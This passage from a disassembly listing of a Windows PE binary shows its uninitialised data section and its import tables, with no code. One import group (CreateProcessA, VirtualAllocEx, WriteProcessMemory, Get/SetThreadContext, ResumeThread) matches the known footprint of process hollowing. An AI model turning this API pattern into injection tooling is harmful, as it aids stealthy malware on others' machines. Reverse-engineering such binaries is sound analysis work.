dword_200155B0	dd ?			; DATA XREF: sub_20001C10+16w
					; sub_20001FA0+9Bw ...
dword_200155B4	dd ?			; DATA XREF: sub_20005A60+11w
					; sub_20005AB4w
; UINT CodePage
CodePage	dd ?			; DATA XREF: sub_200040C8+10r
					; sub_200040E8+Cr ...
byte_200155BC	db ?			; DATA XREF: sub_200019A8+8Ew
					; sub_200019A8:loc_20001A65r ...
		align 10h
dword_200155C0	dd ?			; DATA XREF: sub_2000159C+6Dw
					; sub_200016E8+63w ...
; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_200019A8+11o
					; sub_200019A8+24o ...
; HLOCAL dword_200155DC
dword_200155DC	dd ?			; DATA XREF: sub_2000131C:loc_2000133Fr
					; sub_2000131C+2Aw ...
dword_200155E0	dd ?			; DATA XREF: sub_2000131C+2o
					; sub_200013A4+Ar ...
dword_200155E4	dd ?			; DATA XREF: sub_200014C0+3Eo
					; sub_20001524+51o ...
		dd 3 dup(?)
dword_200155F4	dd 4 dup(?)		; DATA XREF: sub_20001768+Bo
					; sub_200017F8+Eo ...
dword_20015604	dd ?			; DATA XREF: sub_200019A8+7Fo
dword_20015608	dd ?			; DATA XREF: sub_20001FA0:loc_20001FB0r
		align 10h
dword_20015610	dd ?			; DATA XREF: sub_200019A8+89w
					; sub_20001B4C+1r ...
dword_20015614	dd ?			; DATA XREF: sub_20001E3Cr
					; sub_20001E3C+9r ...
dword_20015618	dd ?			; DATA XREF: sub_20001E3C+26r
					; sub_20001E3C+2Er ...
; HLOCAL hMem
hMem		dd ?			; DATA XREF: sub_200019A8+58w
					; sub_200019A8+5Dr ...
dword_20015620	dd ?			; DATA XREF: sub_200019A8+42o
					; sub_20001A6C+81o ...
		align 10h
dword_20015630	dd ?			; DATA XREF: sub_20003C54+6o
					; sub_20003DFC+Do ...
dword_20015634	dd ?			; DATA XREF: sub_20003C0C+17w
					; sub_20003C2C+2r
dword_20015638	dd ?			; DATA XREF: sub_20003CB4+6r
					; sub_20003D14+14w
dword_2001563C	dd ?			; DATA XREF: sub_20003CB4+2Cw
					; sub_20003D14+1Bw
dword_20015640	dd ?			; DATA XREF: sub_20003D14+20w
		dd 6 dup(?)
byte_2001565C	db ?			; DATA XREF: sub_20005C00r
byte_2001565D	db ?			; DATA XREF: CODE:2000C12Ar
		align 10h
dword_20015660	dd ?			; DATA XREF: sub_20005C4C+11w
					; sub_20005C4C+16r ...
dword_20015664	dd ?			; DATA XREF: sub_20005C90+11w
					; CODE:loc_20005CC0w
dword_20015668	dd ?			; DATA XREF: sub_20005C00:loc_20005C2Fr
dword_2001566C	dd ?			; DATA XREF: sub_20005CC8+11w
					; sub_20005CF8w
dword_20015670	dd ?			; DATA XREF: sub_20005E98+11w
					; sub_20005EC8w
dword_20015674	dd ?			; DATA XREF: CODE:20005EE1w
					; sub_20005F00w
dword_20015678	dd ?			; DATA XREF: CODE:20005F19w
					; CODE:20005F38w
dword_2001567C	dd ?			; DATA XREF: CODE:20005F59w
					; CODE:20005F78w
dword_20015680	dd ?			; DATA XREF: CODE:20005F91w
					; CODE:20005FB0w
dword_20015684	dd ?			; DATA XREF: CODE:20005FC9w
					; CODE:20005FE8w
dword_20015688	dd ?			; DATA XREF: CODE:20006001w
					; CODE:20006040w
dword_2001568C	dd ?			; DATA XREF: CODE:20006009r
					; CODE:20006012r
dword_20015690	dd ?			; DATA XREF: CODE:20006329w
					; CODE:20006348w
dword_20015694	dd ?			; DATA XREF: sub_20007D7C+1Cr
					; sub_2000B3DC+52o ...
byte_20015698	db ?			; DATA XREF: sub_20007D7C+24r
					; sub_2000B3DC+7Bw
byte_20015699	db ?			; DATA XREF: sub_20007D7C+2Cr
					; sub_2000B3DC+9Fw
byte_2001569A	db ?			; DATA XREF: sub_20007D7C+14r
					; sub_2000B3DC+B2w
byte_2001569B	db ?			; DATA XREF: sub_20007D7C+Cr
					; sub_2000827C+14r ...
byte_2001569C	db ?			; DATA XREF: sub_200079D6+1F9r
					; sub_2000B3DC+E9w
byte_2001569D	db ?			; DATA XREF: sub_20008C00:loc_200092AAr
					; sub_20008C00+6BBo ...
		align 10h
dword_200156A0	dd ?			; DATA XREF: sub_20008C00+2F3r
					; sub_20008C00+657r ...
dword_200156A4	dd ?			; DATA XREF: sub_20008C00+307r
					; sub_2000B3DC+151o ...
byte_200156A8	db ?			; DATA XREF: sub_20008C00:loc_200092D0r
					; sub_20008C00+6DDo ...
		align 4
dword_200156AC	dd ?			; DATA XREF: sub_20008C00+57Er
					; sub_200096E4+29Ar ...
dword_200156B0	dd ?			; DATA XREF: sub_20008C00+58Fr
					; sub_200096E4+2C4r ...
dword_200156B4	dd ?			; DATA XREF: sub_20008C00+484r
					; sub_200096E4+24Fr ...
dword_200156B8	dd ?			; DATA XREF: sub_20008C00+23Er
					; sub_20008C00+498r ...
dword_200156BC	dd 0Bh dup(?)		; DATA XREF: sub_20009DD8+29o
					; CODE:2000C06Ao
dword_200156E8	dd ?			; DATA XREF: sub_20008C00+258r
dword_200156EC	dd 0Bh dup(?)		; DATA XREF: sub_20009DD8+2Eo
					; CODE:2000C055o
dword_20015718	dd ?			; DATA XREF: sub_20008C00+2B6r
					; sub_20008C00+61Fr
dword_2001571C	dd 6 dup(?)		; DATA XREF: sub_20009DD8+8Ao
					; CODE:2000C040o
dword_20015734	dd ?			; DATA XREF: sub_20008C00+2DDr
					; sub_20008C00+5D8r
dword_20015738	dd 7 dup(?)		; DATA XREF: sub_20009DD8+8Fo
					; CODE:2000C02Bo
; LCID Locale
Locale		dd ?			; DATA XREF: sub_2000B1F0+Er
					; sub_2000B268+Cw ...
dword_20015758	dd ?			; DATA XREF: sub_20008990+A4r
					; sub_20009688+6r ...
dword_2001575C	dd ?			; DATA XREF: sub_20008990:loc_20008A60r
					; sub_2000B268+20w ...
dword_20015760	dd ?			; DATA XREF: sub_200096E4+22Ar
					; CalInfoEnumProc:loc_20009F10r ...
dword_20015764	dd 6 dup(?)		; DATA XREF: sub_20009634+11o
					; CODE:2000C016o
dword_2001577C	dd ?			; DATA XREF: sub_20009F38:loc_20009F5Cr
					; sub_20009F38+43w
dword_20015780	dd ?			; DATA XREF: sub_20009634+16o
					; sub_200096E4+AFr ...
		dd 6 dup(?)
dword_2001579C	dd ?			; DATA XREF: sub_200072D4r
					; sub_200072D4+10o ...
dword_200157A0	dd ?			; DATA XREF: sub_200072D4:loc_2000730Br
					; sub_200072D4+47o ...
dword_200157A4	dd ?			; DATA XREF: CODE:2000BF8Dw
					; CODE:2000C10Dw
dword_200157A8	dd ?			; DATA XREF: sub_2000A71C:loc_2000A731r
					; sub_2000ABA0+12w ...
dword_200157AC	dd ?			; DATA XREF: sub_2000A71C:loc_2000A739r
					; sub_2000ABA0+29w ...
dword_200157B0	dd ?			; DATA XREF: CODE:2000BF99o
dword_200157B4	dd ?			; DATA XREF: sub_2000C62C+22w
					; DATA:off_20014544o
dword_200157B8	dd ?			; DATA XREF: sub_2000C62C+38w
dword_200157BC	dd ?			; DATA XREF: sub_2000C62C+4Ew
dword_200157C0	dd ?			; DATA XREF: sub_2000C62C+64w
dword_200157C4	dd ?			; DATA XREF: sub_2000C62C+7Aw
dword_200157C8	dd ?			; DATA XREF: sub_2000C62C+90w
dword_200157CC	dd ?			; DATA XREF: sub_2000C62C+A6w
dword_200157D0	dd ?			; DATA XREF: sub_2000C62C+BCw
dword_200157D4	dd ?			; DATA XREF: sub_2000C62C+D2w
dword_200157D8	dd ?			; DATA XREF: sub_2000C62C+E8w
dword_200157DC	dd ?			; DATA XREF: sub_2000C62C+FEw
dword_200157E0	dd ?			; DATA XREF: sub_2000C62C+114w
dword_200157E4	dd ?			; DATA XREF: sub_2000C62C+12Aw
dword_200157E8	dd ?			; DATA XREF: sub_2000C62C+140w
dword_200157EC	dd ?			; DATA XREF: sub_2000C62C+156w
dword_200157F0	dd ?			; DATA XREF: sub_2000C62C+16Cw
dword_200157F4	dd ?			; DATA XREF: sub_2000C62C+182w
dword_200157F8	dd ?			; DATA XREF: sub_2000C62C+198w
dword_200157FC	dd ?			; DATA XREF: sub_2000C62C+1AEw
dword_20015800	dd ?			; DATA XREF: sub_2000C62C+1C4w
					; DATA:off_2001440Co
dword_20015804	dd ?			; DATA XREF: sub_2000C62C+1DAw
					; DATA:off_200144B0o
dword_20015808	dd ?			; DATA XREF: sub_2000C62C+1F0w
					; DATA:off_20014534o
dword_2001580C	dd ?			; DATA XREF: CODE:2000C949w
					; CODE:2000C968w
dword_20015810	dd 4 dup(?)		; DATA XREF: CODE:2000F0BBo
					; CODE:2000F0F6o
dword_20015820	dd ?			; DATA XREF: CODE:2000F105w
dword_20015824	dd ?			; DATA XREF: sub_2000D674+3Ar
					; CODE:2000F10Fw
dword_20015828	dd ?			; DATA XREF: sub_2000DC5C+30r
					; sub_2000E340+30r ...
dword_2001582C	dd ?			; DATA XREF: sub_2000D96C+5Dr
					; CODE:2000F11Fw
dword_20015830	dd ?			; DATA XREF: CODE:2000F075w
					; CODE:2000F0EDw
dword_20015834	dd ?			; DATA XREF: sub_2000ED08+5o
					; sub_2000EE80+38r ...
; struct _RTL_CRITICAL_SECTION stru_20015838
stru_20015838	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_2000ED08+Ao
					; sub_2000ED08:loc_2000ED5Eo ...
dword_20015850	dd ?			; DATA XREF: CODE:2000F1F9w
					; CODE:2000F218w
dword_20015854	dd ?			; DATA XREF: CODE:2000F25Dw
					; CODE:2000F29Cw
dword_20015858	dd ?			; DATA XREF: CODE:2000F2B5w
					; CODE:2000F2D4w
dword_2001585C	dd ?			; DATA XREF: CODE:20012623r
					; CODE:2001265Fo ...
; HANDLE hObject
hObject		dd ?			; DATA XREF: sub_20012540+1Aw
					; sub_20012540+1Fr ...
dword_20015864	dd ?			; DATA XREF: CODE:20012611w
					; CODE:200126C1w
dword_20015868	dd ?			; DATA XREF: sub_2001258C+6r
					; sub_2001258C:loc_200125D6r ...
dword_2001586C	dd ?			; DATA XREF: sub_2000FEA8+6r
					; sub_2000FEA8+20r ...
dword_20015870	dd ?			; DATA XREF: CODE:20012682o
dword_20015874	dd ?			; DATA XREF: sub_20011C80+Fr
					; sub_20011C80+1Cr ...
; struct _RTL_CRITICAL_SECTION stru_20015878
stru_20015878	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_20012540o
					; sub_20012574o
dword_20015890	dd ?			; DATA XREF: CODE:20012755w
					; CODE:20012774w
dword_20015894	dd ?			; DATA XREF: CODE:200128A1w
					; CODE:200128C0w
dword_20015898	dd ?			; DATA XREF: CODE:200128D9w
					; CODE:200128F8w
dword_2001589C	dd ?			; DATA XREF: CODE:200133BDo
					; CODE:200133C7r ...
dword_200158A0	dd 53h dup(?)		; DATA XREF: CODE:20013421o
					; CODE:20013430o ...
dword_200159EC	dd ?			; DATA XREF: CODE:loc_2001341Br
					; CODE:20013481r
		align 20h
BSS		ends

;
; Imports from kernel32.dll
;
; Section 4. (virtual address 00016000)
; Virtual size			: 00000B44 (   2884.)
; Section size in file		: 00000C00 (   3072.)
; Offset to raw	data for section: 00013000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Externs
; _idata
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_DeleteCriticalSection:dword	; DATA XREF: DeleteCriticalSectionr
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_LeaveCriticalSection:dword ; DATA XREF: LeaveCriticalSectionr
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_EnterCriticalSection:dword ; DATA XREF: EnterCriticalSectionr
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_InitializeCriticalSection:dword
					; DATA XREF: InitializeCriticalSectionr
; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
		extrn __imp_VirtualFree:dword ;	DATA XREF: VirtualFreer
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
		extrn __imp_VirtualAlloc:dword ; DATA XREF: VirtualAllocr
; HLOCAL __stdcall LocalFree(HLOCAL hMem)
		extrn __imp_LocalFree:dword ; DATA XREF: LocalFreer
; HLOCAL __stdcall LocalAlloc(UINT uFlags, SIZE_T uBytes)
		extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr
; DWORD	__stdcall GetVersion()
		extrn __imp_GetVersion:dword ; DATA XREF: GetVersionr
; DWORD	__stdcall GetCurrentThreadId()
		extrn __imp_GetCurrentThreadId:dword ; DATA XREF: GetCurrentThreadIdr
; LONG __stdcall InterlockedDecrement(volatile LONG *lpAddend)
		extrn __imp_InterlockedDecrement:dword ; DATA XREF: InterlockedDecrementr
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
		extrn __imp_InterlockedIncrement:dword ; DATA XREF: InterlockedIncrementr
; SIZE_T __stdcall VirtualQuery(LPCVOID	lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
		extrn __imp_VirtualQuery:dword ; DATA XREF: VirtualQueryr
; int __stdcall	WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR	lpMultiByteStr,	int cbMultiByte, LPCSTR	lpDefaultChar, LPBOOL lpUsedDefaultChar)
		extrn __imp_WideCharToMultiByte:dword ;	DATA XREF: WideCharToMultiByter
; int __stdcall	MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr,	int cchWideChar)
		extrn __imp_MultiByteToWideChar:dword ;	DATA XREF: MultiByteToWideCharr
; int __stdcall	lstrlenA(LPCSTR	lpString)
		extrn __imp_lstrlenA:dword ; DATA XREF:	lstrlenAr
; LPSTR	__stdcall lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength)
		extrn __imp_lstrcpynA:dword ; DATA XREF: lstrcpynAr
; HMODULE __stdcall LoadLibraryExA(LPCSTR lpLibFileName, HANDLE	hFile, DWORD dwFlags)
		extrn __imp_LoadLibraryExA:dword ; DATA	XREF: LoadLibraryExAr
; LCID __stdcall GetThreadLocale()
		extrn __imp_GetThreadLocale:dword ; DATA XREF: GetThreadLocaler
; void __stdcall GetStartupInfoA(LPSTARTUPINFOA	lpStartupInfo)
		extrn __imp_GetStartupInfoA:dword ; DATA XREF: GetStartupInfoAr
; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
		extrn __imp_GetProcAddress:dword ; DATA	XREF: GetProcAddressr
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
		extrn __imp_GetModuleHandleA:dword ; DATA XREF:	GetModuleHandleAr
; DWORD	__stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize)
		extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr
; int __stdcall	GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData)
		extrn __imp_GetLocaleInfoA:dword ; DATA	XREF: GetLocaleInfoAr
; DWORD	__stdcall GetLastError()
		extrn __imp_GetLastError:dword ; DATA XREF: GetLastErrorr
; LPSTR	__stdcall GetCommandLineA()
		extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
		extrn __imp_FreeLibrary:dword ;	DATA XREF: FreeLibraryr
; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA	lpFindFileData)
		extrn __imp_FindFirstFileA:dword ; DATA	XREF: FindFirstFileAr
; BOOL __stdcall FindClose(HANDLE hFindFile)
		extrn __imp_FindClose:dword ; DATA XREF: FindCloser
; void __stdcall ExitProcess(UINT uExitCode)
		extrn __imp_ExitProcess:dword ;	DATA XREF: ExitProcessr
; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,	LPDWORD	lpNumberOfBytesWritten,	LPOVERLAPPED lpOverlapped)
		extrn __imp_WriteFile:dword ; DATA XREF: WriteFiler
					; CODE:loc_20002CC0r
; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo)
		extrn __imp_UnhandledExceptionFilter:dword
					; DATA XREF: UnhandledExceptionFilterr
; DWORD	__stdcall SetFilePointer(HANDLE	hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod)
		extrn __imp_SetFilePointer:dword ; DATA	XREF: SetFilePointerr
; BOOL __stdcall SetEndOfFile(HANDLE hFile)
		extrn __imp_SetEndOfFile:dword ; DATA XREF: SetEndOfFiler
		extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
; BOOL __stdcall ReadFile(HANDLE hFile,	LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
		extrn __imp_ReadFile:dword ; DATA XREF:	ReadFiler
					; CODE:loc_20002CB8r
; void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const ULONG_PTR *lpArguments)
		extrn __imp_RaiseException:dword ; DATA	XREF: RaiseExceptionr
; HANDLE __stdcall GetStdHandle(DWORD nStdHandle)
		extrn __imp_GetStdHandle:dword ; DATA XREF: GetStdHandler
; DWORD	__stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh)
		extrn __imp_GetFileSize:dword ;	DATA XREF: GetFileSizer
; DWORD	__stdcall GetFileType(HANDLE hFile)
		extrn __imp_GetFileType:dword ;	DATA XREF: GetFileTyper
; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD	dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,	DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE	hTemplateFile)
		extrn __imp_CreateFileA:dword ;	DATA XREF: CreateFileAr
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn __imp_CloseHandle:dword ;	DATA XREF: CloseHandler

;
; Imports from user32.dll
;
; int __stdcall	GetKeyboardType(int nTypeFlag)
		extrn __imp_GetKeyboardType:dword ; DATA XREF: GetKeyboardTyper
; int __stdcall	LoadStringA(HINSTANCE hInstance, UINT uID, LPSTR lpBuffer, int cchBufferMax)
		extrn __imp_LoadStringA:dword ;	DATA XREF: LoadStringAr
; int __stdcall	MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption,	UINT uType)
		extrn __imp_MessageBoxA:dword ;	DATA XREF: MessageBoxAr
; LPSTR	__stdcall CharNextA(LPCSTR lpsz)
		extrn __imp_CharNextA:dword ; DATA XREF: CharNextAr

;
; Imports from advapi32.dll
;
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey,	LPCSTR lpValueName, LPDWORD lpReserved,	LPDWORD	lpType,	LPBYTE lpData, LPDWORD lpcbData)
		extrn __imp_RegQueryValueExA:dword ; DATA XREF:	RegQueryValueExAr
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY	phkResult)
		extrn __imp_RegOpenKeyExA:dword	; DATA XREF: RegOpenKeyExAr
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn __imp_RegCloseKey:dword ;	DATA XREF: RegCloseKeyr

;
; Imports from oleaut32.dll
;
; void __stdcall SysFreeString(BSTR bstrString)
		extrn __imp_SysFreeString:dword	; DATA XREF: SysFreeStringr
; INT __stdcall	SysReAllocStringLen(BSTR *pbstr, const OLECHAR *psz, unsigned int len)
		extrn __imp_SysReAllocStringLen:dword ;	DATA XREF: SysReAllocStringLenr
; BSTR __stdcall SysAllocStringLen(const OLECHAR *strIn, UINT ui)
		extrn __imp_SysAllocStringLen:dword ; DATA XREF: SysAllocStringLenr

;
; Imports from kernel32.dll
;
; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue)
		extrn __imp_TlsSetValue:dword ;	DATA XREF: TlsSetValuer
; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex)
		extrn __imp_TlsGetValue:dword ;	DATA XREF: TlsGetValuer
; HLOCAL __stdcall LocalAlloc_0(UINT uFlags, SIZE_T uBytes)
		extrn __imp_LocalAlloc_0:dword ; DATA XREF: LocalAlloc_0r
; HMODULE __stdcall GetModuleHandleA_0(LPCSTR lpModuleName)
		extrn __imp_GetModuleHandleA_0:dword ; DATA XREF: GetModuleHandleA_0r

;
; Imports from advapi32.dll
;
; BOOL __stdcall GetUserNameA(LPSTR lpBuffer, LPDWORD pcbBuffer)
		extrn __imp_GetUserNameA:dword ; DATA XREF: GetUserNameAr

;
; Imports from kernel32.dll
;
; BOOL __stdcall WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten)
		extrn __imp_WriteProcessMemory:dword ; DATA XREF: WriteProcessMemoryr
; BOOL __stdcall WriteFile_0(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
		extrn __imp_WriteFile_0:dword ;	DATA XREF: WriteFile_0r
; DWORD	__stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
		extrn __imp_WaitForSingleObject:dword ;	DATA XREF: WaitForSingleObjectr
; SIZE_T __stdcall VirtualQuery_0(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T	dwLength)
		extrn __imp_VirtualQuery_0:dword ; DATA	XREF: VirtualQuery_0r
; LPVOID __stdcall VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
		extrn __imp_VirtualAllocEx:dword ; DATA	XREF: VirtualAllocExr
; BOOL __stdcall SetThreadContext(HANDLE hThread, const	CONTEXT	*lpContext)
		extrn __imp_SetThreadContext:dword ; DATA XREF:	SetThreadContextr
; DWORD	__stdcall SetFilePointer_0(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod)
		extrn __imp_SetFilePointer_0:dword ; DATA XREF:	SetFilePointer_0r
; BOOL __stdcall SetEvent(HANDLE hEvent)
		extrn __imp_SetEvent:dword ; DATA XREF:	SetEventr
; BOOL __stdcall SetEndOfFile_0(HANDLE hFile)
		extrn __imp_SetEndOfFile_0:dword ; DATA	XREF: SetEndOfFile_0r
; DWORD	__stdcall ResumeThread(HANDLE hThread)
		extrn __imp_ResumeThread:dword ; DATA XREF: ResumeThreadr
; BOOL __stdcall ResetEvent(HANDLE hEvent)
		extrn __imp_ResetEvent:dword ; DATA XREF: ResetEventr
; BOOL __stdcall ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead)
		extrn __imp_ReadProcessMemory:dword ; DATA XREF: ReadProcessMemoryr
; BOOL __stdcall ReadFile_0(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
		extrn __imp_ReadFile_0:dword ; DATA XREF: ReadFile_0r
; void __stdcall LeaveCriticalSection_0(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_LeaveCriticalSection_0:dword
					; DATA XREF: LeaveCriticalSection_0r
; void __stdcall InitializeCriticalSection_0(LPCRITICAL_SECTION	lpCriticalSection)
		extrn __imp_InitializeCriticalSection_0:dword
					; DATA XREF: InitializeCriticalSection_0r
; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA	lpVersionInformation)
		extrn __imp_GetVersionExA:dword	; DATA XREF: GetVersionExAr
; LCID __stdcall GetThreadLocale_0()
		extrn __imp_GetThreadLocale_0:dword ; DATA XREF: GetThreadLocale_0r
; BOOL __stdcall GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
		extrn __imp_GetThreadContext:dword ; DATA XREF:	GetThreadContextr
; BOOL __stdcall GetStringTypeExA(LCID Locale, DWORD dwInfoType, LPCSTR	lpSrcStr, int cchSrc, LPWORD lpCharType)
		extrn __imp_GetStringTypeExA:dword ; DATA XREF:	GetStringTypeExAr
; HANDLE __stdcall GetStdHandle_0(DWORD	nStdHandle)
		extrn __imp_GetStdHandle_0:dword ; DATA	XREF: GetStdHandle_0r
; FARPROC __stdcall GetProcAddress_0(HMODULE hModule, LPCSTR lpProcName)
		extrn __imp_GetProcAddress_0:dword ; DATA XREF:	GetProcAddress_0r
; HMODULE __stdcall GetModuleHandleA_1(LPCSTR lpModuleName)
		extrn __imp_GetModuleHandleA_1:dword ; DATA XREF: GetModuleHandleA_1r
; DWORD	__stdcall GetModuleFileNameA_0(HMODULE hModule,	LPCH lpFilename, DWORD nSize)
		extrn __imp_GetModuleFileNameA_0:dword ; DATA XREF: GetModuleFileNameA_0r
; int __stdcall	GetLocaleInfoA_0(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData)
		extrn __imp_GetLocaleInfoA_0:dword ; DATA XREF:	GetLocaleInfoA_0r
; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
		extrn __imp_GetLocalTime:dword ; DATA XREF: GetLocalTimer
; DWORD	__stdcall GetLastError_0()
		extrn __imp_GetLastError_0:dword ; DATA	XREF: GetLastError_0r
; DWORD	__stdcall GetFullPathNameA(LPCSTR lpFileName, DWORD nBufferLength, LPSTR lpBuffer, LPSTR *lpFilePart)
		extrn __imp_GetFullPathNameA:dword ; DATA XREF:	GetFullPathNameAr
; BOOL __stdcall GetDiskFreeSpaceA(LPCSTR lpRootPathName, LPDWORD lpSectorsPerCluster, LPDWORD lpBytesPerSector, LPDWORD lpNumberOfFreeClusters, LPDWORD lpTotalNumberOfClusters)
		extrn __imp_GetDiskFreeSpaceA:dword ; DATA XREF: GetDiskFreeSpaceAr
; int __stdcall	GetDateFormatA(LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpDate, LPCSTR lpFormat, LPSTR lpDateStr, int cchDate)
		extrn __imp_GetDateFormatA:dword ; DATA	XREF: GetDateFormatAr
; DWORD	__stdcall GetCurrentThreadId_0()
		extrn __imp_GetCurrentThreadId_0:dword ; DATA XREF: GetCurrentThreadId_0r
; BOOL __stdcall GetCPInfo(UINT	CodePage, LPCPINFO lpCPInfo)
		extrn __imp_GetCPInfo:dword ; DATA XREF: GetCPInfor
; UINT __stdcall GetACP()
		extrn __imp_GetACP:dword ; DATA	XREF: GetACPr
; BOOL __stdcall FreeLibrary_0(HMODULE hLibModule)
		extrn __imp_FreeLibrary_0:dword	; DATA XREF: FreeLibrary_0r
; DWORD	__stdcall FormatMessageA(DWORD dwFlags,	LPCVOID	lpSource, DWORD	dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments)
		extrn __imp_FormatMessageA:dword ; DATA	XREF: FormatMessageAr
; void __stdcall ExitProcess_0(UINT uExitCode)
		extrn __imp_ExitProcess_0:dword	; DATA XREF: ExitProcess_0r
; BOOL __stdcall EnumCalendarInfoA(CALINFO_ENUMPROCA lpCalInfoEnumProc,	LCID Locale, CALID Calendar, CALTYPE CalType)
		extrn __imp_EnumCalendarInfoA:dword ; DATA XREF: EnumCalendarInfoAr
; void __stdcall EnterCriticalSection_0(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_EnterCriticalSection_0:dword
					; DATA XREF: EnterCriticalSection_0r
; void __stdcall DeleteCriticalSection_0(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_DeleteCriticalSection_0:dword
					; DATA XREF: DeleteCriticalSection_0r
; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR	lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES	lpThreadAttributes, BOOL bInheritHandles, DWORD	dwCreationFlags, LPVOID	lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo,	LPPROCESS_INFORMATION lpProcessInformation)
		extrn __imp_CreateProcessA:dword ; DATA	XREF: CreateProcessAr
; HANDLE __stdcall CreateFileA_0(LPCSTR	lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD	dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
		extrn __imp_CreateFileA_0:dword	; DATA XREF: CreateFileA_0r
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState,	LPCSTR lpName)
		extrn __imp_CreateEventA:dword ; DATA XREF: CreateEventAr
; int __stdcall	CompareStringA(LCID Locale, DWORD dwCmpFlags, LPCSTR lpString1,	int cchCount1, LPCSTR lpString2, int cchCount2)
		extrn __imp_CompareStringA:dword ; DATA	XREF: CompareStringAr
; BOOL __stdcall CloseHandle_0(HANDLE hObject)
		extrn __imp_CloseHandle_0:dword	; DATA XREF: CloseHandle_0r

;
; Imports from user32.dll
;
; int __stdcall	MessageBoxA_0(HWND hWnd, LPCSTR	lpText,	LPCSTR lpCaption, UINT uType)
		extrn __imp_MessageBoxA_0:dword	; DATA XREF: MessageBoxA_0r
